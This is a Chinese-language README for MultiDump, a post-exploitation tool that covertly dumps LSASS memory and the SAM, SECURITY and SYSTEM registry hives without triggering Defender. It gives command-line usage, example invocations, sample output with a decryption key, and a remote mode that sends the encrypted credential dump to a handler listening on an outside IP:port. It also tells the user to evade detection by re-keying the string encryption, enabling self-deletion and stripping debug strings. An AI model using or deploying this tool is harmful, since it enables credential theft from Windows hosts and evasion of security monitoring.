MultiDump 是一个用 C 编写的后渗透工具,用于隐秘地转储和提取 LSASS 内存,不会触发 Defender 警报,并附带一个用 Python 编写的处理程序。

博客文章:https://xreous.io/posts/multidump
MultiDump 支持通过 ProcDump.exe 或 comsvc.dll 转储 LSASS,它提供两种模式:本地模式将转储文件加密并存储在本地,远程模式则将转储发送到处理程序进行解密和分析。
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
与所有 LSASS 相关工具一样,需要管理员/SeDebugPrivilege 权限。
处理程序依赖于 Pypykatz 解析 LSASS 转储,以及 impacket 解析注册表保存内容。它们应该已在您的环境中安装。如果看到错误 All detection methods failed,很可能是 Pypykatz 版本过旧。
默认情况下,MultiDump 使用 Comsvc.dll 方法,并将加密的转储文件保存在当前目录。
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
如果使用 --procdump,ProcDump.exe 将被写入磁盘以转储 LSASS。
在 cmd 中,必须 使用 --procdump,否则会失败(参见 #5),建议尽可能使用 PowerShell。
在远程模式下,MultiDump 连接到处理程序的监听器。
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
密钥使用处理程序的 IP 和端口进行加密。当 MultiDump 通过代理连接时,处理程序应使用 --override-ip 选项手动指定远程模式下密钥生成的 IP 地址,以确保解密工作正常,使解密 IP 与 MultiDump -r 中设置的预期 IP 匹配。
还有一个额外的选项 --reg 可用于转储 SAM、SECURITY 和 SYSTEM 配置单元,其解密过程与 LSASS 转储相同。这主要是为了方便后利用阶段的信息收集。
在 Visual Studio 中打开,以 Release 模式编译。
建议在编译前自定义二进制文件,例如更改静态字符串或用于加密它们的 RC4 密钥。为此,包含了另一个 Visual Studio 项目 EncryptionHelper。只需更改密钥或字符串,然后将编译后的 EncryptionHelper.exe 的输出粘贴到 MultiDump.c 和 Common.h 中。
可以通过取消注释 Common.h 中的以下行来启用自删除功能:
#define SELF_DELETION
为了进一步规避字符串分析,可以通过注释 Debug.h 中的以下行来在编译时排除大多数输出消息:
//#define DEBUG
MultiDump 可能在 Windows 10 22H2 (19045) 上被检测到(某种程度),我已经实现了一个修复(某种程度),相关调查和实现值得单独写一篇博客文章:https://xre0us.io/posts/saving-lsass-from-defender/